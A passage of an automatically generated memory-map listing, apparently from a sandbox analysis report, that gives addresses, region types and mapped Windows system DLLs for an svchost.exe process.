	        start_va = 0x3330000
	          end_va = 0x33affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003330000"
	        filename = ""

Region:
	              id = 1377
	        start_va = 0x33c0000
	          end_va = 0x343ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000033c0000"
	        filename = ""

Region:
	              id = 1378
	        start_va = 0x3440000
	          end_va = 0x353ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003440000"
	        filename = ""

Region:
	              id = 1379
	        start_va = 0x3550000
	          end_va = 0x35cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003550000"
	        filename = ""

Region:
	              id = 1380
	        start_va = 0x3630000
	          end_va = 0x36affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003630000"
	        filename = ""

Region:
	              id = 1381
	        start_va = 0x3720000
	          end_va = 0x379ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003720000"
	        filename = ""

Region:
	              id = 1382
	        start_va = 0x38f0000
	          end_va = 0x396ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038f0000"
	        filename = ""

Region:
	              id = 1383
	        start_va = 0x39b0000
	          end_va = 0x3a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039b0000"
	        filename = ""

Region:
	              id = 1384
	        start_va = 0x3a40000
	          end_va = 0x3abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a40000"
	        filename = ""

Region:
	              id = 1385
	        start_va = 0x3b60000
	          end_va = 0x3bdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b60000"
	        filename = ""

Region:
	              id = 1386
	        start_va = 0x3be0000
	          end_va = 0x3c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003be0000"
	        filename = ""

Region:
	              id = 1387
	        start_va = 0x3c60000
	          end_va = 0x3e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c60000"
	        filename = ""

Region:
	              id = 1388
	        start_va = 0x3e80000
	          end_va = 0x3efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e80000"
	        filename = ""

Region:
	              id = 1389
	        start_va = 0x3f40000
	          end_va = 0x3fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f40000"
	        filename = ""

Region:
	              id = 1390
	        start_va = 0x3fd0000
	          end_va = 0x404ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fd0000"
	        filename = ""

Region:
	              id = 1391
	        start_va = 0x4050000
	          end_va = 0x40cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004050000"
	        filename = ""

Region:
	              id = 1392
	        start_va = 0x41a0000
	          end_va = 0x421ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000041a0000"
	        filename = ""

Region:
	              id = 1393
	        start_va = 0x4240000
	          end_va = 0x42bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004240000"
	        filename = ""

Region:
	              id = 1394
	        start_va = 0x42c0000
	          end_va = 0x43bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000042c0000"
	        filename = ""

Region:
	              id = 1395
	        start_va = 0x43c0000
	          end_va = 0x45bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043c0000"
	        filename = ""

Region:
	              id = 1396
	        start_va = 0x45c0000
	          end_va = 0x46bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045c0000"
	        filename = ""

Region:
	              id = 1397
	        start_va = 0x4710000
	          end_va = 0x478ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004710000"
	        filename = ""

Region:
	              id = 1398
	        start_va = 0x48f0000
	          end_va = 0x496ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048f0000"
	        filename = ""

Region:
	              id = 1399
	        start_va = 0x4970000
	          end_va = 0x4a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004970000"
	        filename = ""

Region:
	              id = 1400
	        start_va = 0x4aa0000
	          end_va = 0x4b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004aa0000"
	        filename = ""

Region:
	              id = 1401
	        start_va = 0x4b60000
	          end_va = 0x4b6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b60000"
	        filename = ""

Region:
	              id = 1402
	        start_va = 0x4b70000
	          end_va = 0x4c6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b70000"
	        filename = ""

Region:
	              id = 1403
	        start_va = 0x4c70000
	          end_va = 0x4d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c70000"
	        filename = ""

Region:
	              id = 1404
	        start_va = 0x4d70000
	          end_va = 0x4e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d70000"
	        filename = ""

Region:
	              id = 1405
	        start_va = 0x4e70000
	          end_va = 0x4f6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e70000"
	        filename = ""

Region:
	              id = 1406
	        start_va = 0x4f70000
	          end_va = 0x506ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004f70000"
	        filename = ""

Region:
	              id = 1407
	        start_va = 0x5070000
	          end_va = 0x516ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005070000"
	        filename = ""

Region:
	              id = 1408
	        start_va = 0x5170000
	          end_va = 0x616ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005170000"
	        filename = ""

Region:
	              id = 1409
	        start_va = 0x61c0000
	          end_va = 0x623ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000061c0000"
	        filename = ""

Region:
	              id = 1410
	        start_va = 0x6240000
	          end_va = 0x1623ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006240000"
	        filename = ""

Region:
	              id = 1411
	        start_va = 0x16270000
	          end_va = 0x162effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016270000"
	        filename = ""

Region:
	              id = 1412
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1413
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1414
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1415
	        start_va = 0x77620000
	          end_va = 0x77626fff
	     entry_point = 0x77620000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 1416
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1417
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1418
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1419
	        start_va = 0xff940000
	          end_va = 0xff94afff
	     entry_point = 0xff940000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1420
	        start_va = 0x7fee26a0000
	          end_va = 0x7fee28f2fff
	     entry_point = 0x7fee26a0000
	     region_type = mapped_file
	            name = "wuaueng.dll"
	        filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll")

Region:
	              id = 1421
	        start_va = 0x7fee2d20000
	          end_va = 0x7fee2d64fff
	     entry_point = 0x7fee2d20000
	     region_type = mapped_file
	            name = "upnp.dll"
	        filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")

Region:
	              id = 1422
	        start_va = 0x7fee2d70000
	          end_va = 0x7fee2d81fff
	     entry_point = 0x7fee2d70000
	     region_type = mapped_file
	            name = "bitsigd.dll"
	        filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll")

Region:
	              id = 1423
	        start_va = 0x7fee2d90000
	          end_va = 0x7fee2d99fff
	     entry_point = 0x7fee2d90000
	     region_type = mapped_file
	            name = "bitsperf.dll"
	        filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll")

Region:
	              id = 1424
	        start_va = 0x7fee2da0000
	          end_va = 0x7fee2e71fff
	     entry_point = 0x7fee2da0000
	     region_type = mapped_file
	            name = "qmgr.dll"
	        filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll")

Region:
	              id = 1425
	        start_va = 0x7fee31e0000
	          end_va = 0x7fee3459fff
	     entry_point = 0x7fee31e0000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 1426
	        start_va = 0x7fef2970000
	          end_va = 0x7fef29b1fff
	     entry_point = 0x7fef2970000
	     region_type = mapped_file
	            name = "tcpipcfg.dll"
	        filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll")

Region:
	              id = 1427
	        start_va = 0x7fef3e00000
	          end_va = 0x7fef3e39fff
	     entry_point = 0x7fef3e00000
	     region_type = mapped_file
	            name = "mprapi.dll"
	        filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll")

Region:
	              id = 1428
	        start_va = 0x7fef44d0000
	          end_va = 0x7fef4540fff
	     entry_point = 0x7fef44d0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 1429
	        start_va = 0x7fef4980000
	          end_va = 0x7fef49fdfff
	     entry_point = 0x7fef4980000
	     region_type = mapped_file
	            name = "wbemess.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")

Region:
	              id = 1430
	        start_va = 0x7fef4a00000
	          end_va = 0x7fef4a15fff
	     entry_point = 0x7fef4a00000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 1431
	        start_va = 0x7fef4a20000
	          end_va = 0x7fef4adbfff
	     entry_point = 0x7fef4a20000
	     region_type = mapped_file
	            name = "wmiprvsd.dll"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")

Region:
	              id = 1432
	        start_va = 0x7fef4ae0000
	          end_va = 0x7fef4b52fff
	     entry_point = 0x7fef4ae0000
	     region_type = mapped_file
	            name = "repdrvfs.dll"
	        filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")

Region:
	              id = 1433
	        start_va = 0x7fef4b60000
	          end_va = 0x7fef4b85fff
	     entry_point = 0x7fef4b60000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 1434
	        start_va = 0x7fef4b90000
	          end_va = 0x7fef4ba8fff
	     entry_point = 0x7fef4b90000
	     region_type = mapped_file
	            name = "resutils.dll"
	        filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")

Region:
	              id = 1435
	        start_va = 0x7fef4bb0000
	          end_va = 0x7fef4bfffff
	     entry_point = 0x7fef4bb0000
	     region_type = mapped_file
	            name = "clusapi.dll"
	        filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")

Region:
	              id = 1436
	        start_va = 0x7fef4c00000
	          end_va = 0x7fef4c07fff
	     entry_point = 0x7fef4c00000
	     region_type = mapped_file
	            name = "sscore.dll"
	        filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")

Region:
	              id = 1437
	        start_va = 0x7fef4c10000
	          end_va = 0x7fef4c7afff
	     entry_point = 0x7fef4c10000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 1438
	        start_va = 0x7fef4c80000
	          end_va = 0x7fef4c93fff
	     entry_point = 0x7fef4c80000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1439
	        start_va = 0x7fef4ca0000
	          end_va = 0x7fef4d0efff
	     entry_point = 0x7fef4ca0000
	     region_type = mapped_file
	            name = "esscli.dll"
	        filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")

Region:
	              id = 1440
	        start_va = 0x7fef4d10000
	          end_va = 0x7fef4e3efff
	     entry_point = 0x7fef4d10000
	     region_type = mapped_file
	            name = "wbemcore.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")

Region:
	              id = 1441
	        start_va = 0x7fef4e40000
	          end_va = 0x7fef4e59fff
	     entry_point = 0x7fef4e40000
	     region_type = mapped_file
	            name = "nci.dll"
	        filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")

Region:
	              id = 1442
	        start_va = 0x7fef4e60000
	          end_va = 0x7fef4ee3fff
	     entry_point = 0x7fef4e60000
	     region_type = mapped_file
	            name = "netcfgx.dll"
	        filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll")

Region:
	              id = 1443
	        start_va = 0x7fef4ef0000
	          end_va = 0x7fef4f14fff
	     entry_point = 0x7fef4ef0000
	     region_type = mapped_file
	            name = "browser.dll"
	        filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll")

Region:
	              id = 1444
	        start_va = 0x7fef4f20000
	          end_va = 0x7fef4f5cfff
	     entry_point = 0x7fef4f20000
	     region_type = mapped_file
	            name = "srvsvc.dll"
	        filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")

Region:
	              id = 1445
	        start_va = 0x7fef4f60000
	          end_va = 0x7fef4f6efff
	     entry_point = 0x7fef4f60000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1446
	        start_va = 0x7fef4f70000
	          end_va = 0x7fef4f96fff
	     entry_point = 0x7fef4f70000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1447
	        start_va = 0x7fef4fa0000
	          end_va = 0x7fef5081fff
	     entry_point = 0x7fef4fa0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1448
	        start_va = 0x7fef50d0000
	          end_va = 0x7fef5116fff
	     entry_point = 0x7fef50d0000
	     region_type = mapped_file
	            name = "wdscore.dll"
	        filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")

Region:
	              id = 1449
	        start_va = 0x7fef5120000
	          end_va = 0x7fef5161fff
	     entry_point = 0x7fef5120000
	     region_type = mapped_file
	            name = "sqmapi.dll"
	        filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")

Region:
	              id = 1450
	        start_va = 0x7fef5170000
	          end_va = 0x7fef5201fff
	     entry_point = 0x7fef5170000
	     region_type = mapped_file
	            name = "iphlpsvc.dll"
	        filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")

Region:
	              id = 1451
	        start_va = 0x7fef5210000
	          end_va = 0x7fef5295fff
	     entry_point = 0x7fef5210000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1452
	        start_va = 0x7fef52a0000
	          end_va = 0x7fef52dffff
	     entry_point = 0x7fef52a0000
	     region_type = mapped_file
	            name = "wmisvc.dll"
	        filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")

Region:
	              id = 1453
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 1454
	        start_va = 0x7fef6640000
	          end_va = 0x7fef6650fff
	     entry_point = 0x7fef6640000
	     region_type = mapped_file
	            name = "ssdpapi.dll"
	        filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")

Region:
	              id = 1455
	        start_va = 0x7fef6a80000
	          end_va = 0x7fef6a96fff
	     entry_point = 0x7fef6a80000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 1456
	        start_va = 0x7fef6aa0000
	          end_va = 0x7fef6c4ffff
	     entry_point = 0x7fef6aa0000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 1457
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 1458
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 1459
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 1460
	        start_va = 0x7fef7240000
	          end_va = 0x7fef7248fff
	     entry_point = 0x7fef7240000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 1461
	        start_va = 0x7fef7600000
	          end_va = 0x7fef761afff
	     entry_point = 0x7fef7600000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 1462
	        start_va = 0x7fef86a0000
	          end_va = 0x7fef878dfff
	     entry_point = 0x7fef86a0000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 1463
	        start_va = 0x7fef8a20000
	          end_va = 0x7fef8a39fff
	     entry_point = 0x7fef8a20000
	     region_type = mapped_file
	            name = "rascfg.dll"
	        filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll")

Region:
	              id = 1464
	        start_va = 0x7fef8a60000
	          end_va = 0x7fef8a6efff
	     entry_point = 0x7fef8a60000
	     region_type = mapped_file
	            name = "ndiscapcfg.dll"
	        filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll")

Region:
	              id = 1465
	        start_va = 0x7fef8a70000
	          end_va = 0x7fef8a85fff
	     entry_point = 0x7fef8a70000
	     region_type = mapped_file
	            name = "ncprov.dll"
	        filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll")

Region:
	              id = 1466
	        start_va = 0x7fefa430000
	          end_va = 0x7fefa4a6fff
	     entry_point = 0x7fefa430000
	     region_type = mapped_file
	            name = "taskcomp.dll"
	        filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")

Region:
	              id = 1467
	        start_va = 0x7fefa9c0000
	          end_va = 0x7fefa9c9fff
	     entry_point = 0x7fefa9c0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 1468
	        start_va = 0x7fefa9d0000
	          end_va = 0x7fefaae1fff
	     entry_point = 0x7fefa9d0000
	     region_type = mapped_file
	            name = "schedsvc.dll"
	        filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")

Region:
	              id = 1469
	        start_va = 0x7fefaaf0000
	          end_va = 0x7fefaafefff
	     entry_point = 0x7fefaaf0000
	     region_type = mapped_file
	            name = "wiarpc.dll"
	        filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll")

Region:
	              id = 1470
	        start_va = 0x7fefab00000
	          end_va = 0x7fefab08fff
	     entry_point = 0x7fefab00000
	     region_type = mapped_file
	            name = "fvecerts.dll"
	        filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll")

Region:
	              id = 1471
	        start_va = 0x7fefab10000
	          end_va = 0x7fefab18fff
	     entry_point = 0x7fefab10000
	     region_type = mapped_file
	            name = "tbs.dll"
	        filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll")

Region:
	              id = 1472
	        start_va = 0x7fefab20000
	          end_va = 0x7fefab75fff
	     entry_point = 0x7fefab20000
	     region_type = mapped_file
	            name = "fveapi.dll"
	        filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")

Region:
	              id = 1473
	        start_va = 0x7fefaba0000
	          end_va = 0x7fefabfdfff
	     entry_point = 0x7fefaba0000
	     region_type = mapped_file
	            name = "shsvcs.dll"
	        filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")

Region:
	              id = 1474
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 1475
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 1476
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1477
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1478
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1479
	        start_va = 0x7fefaeb0000
	          end_va = 0x7fefaec3fff
	     entry_point = 0x7fefaeb0000
	     region_type = mapped_file
	            name = "sens.dll"
	        filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")

Region:
	              id = 1480
	        start_va = 0x7fefaed0000
	          end_va = 0x7fefaf36fff
	     entry_point = 0x7fefaed0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 1481
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf4afff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 1482
	        start_va = 0x7fefaf50000
	          end_va = 0x7fefaf5bfff
	     entry_point = 0x7fefaf50000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1483
	        start_va = 0x7fefaf60000
	          end_va = 0x7fefaf6ffff
	     entry_point = 0x7fefaf60000
	     region_type = mapped_file
	            name = "themeservice.dll"
	        filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")

Region:
	              id = 1484
	        start_va = 0x7fefaf70000
	          end_va = 0x7fefaf88fff
	     entry_point = 0x7fefaf70000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1485
	        start_va = 0x7fefaf90000
	          end_va = 0x7fefafc6fff
	     entry_point = 0x7fefaf90000
	     region_type = mapped_file
	            name = "profsvc.dll"
	        filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")

Region:
	              id = 1486
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 1487
	        start_va = 0x7fefb030000
	          end_va = 0x7fefb0f1fff
	     entry_point = 0x7fefb030000
	     region_type = mapped_file
	            name = "gpsvc.dll"
	        filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")

Region:
	              id = 1488
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1489
	        start_va = 0x7fefb340000
	          end_va = 0x7fefb35cfff
	     entry_point = 0x7fefb340000
	     region_type = mapped_file
	            name = "mmcss.dll"
	        filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll")

Region:
	              id = 1490
	        start_va = 0x7fefb360000
	          end_va = 0x7fefb370fff
	     entry_point = 0x7fefb360000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 1491
	        start_va = 0x7fefb4b0000
	          end_va = 0x7fefb4c3fff
	     entry_point = 0x7fefb4b0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1492
	        start_va = 0x7fefb4d0000
	          end_va = 0x7fefb4e4fff
	     entry_point = 0x7fefb4d0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1493
	        start_va = 0x7fefb4f0000
	          end_va = 0x7fefb4fbfff
	     entry_point = 0x7fefb4f0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1494
	        start_va = 0x7fefb500000
	          end_va = 0x7fefb515fff
	     entry_point = 0x7fefb500000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 1495
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
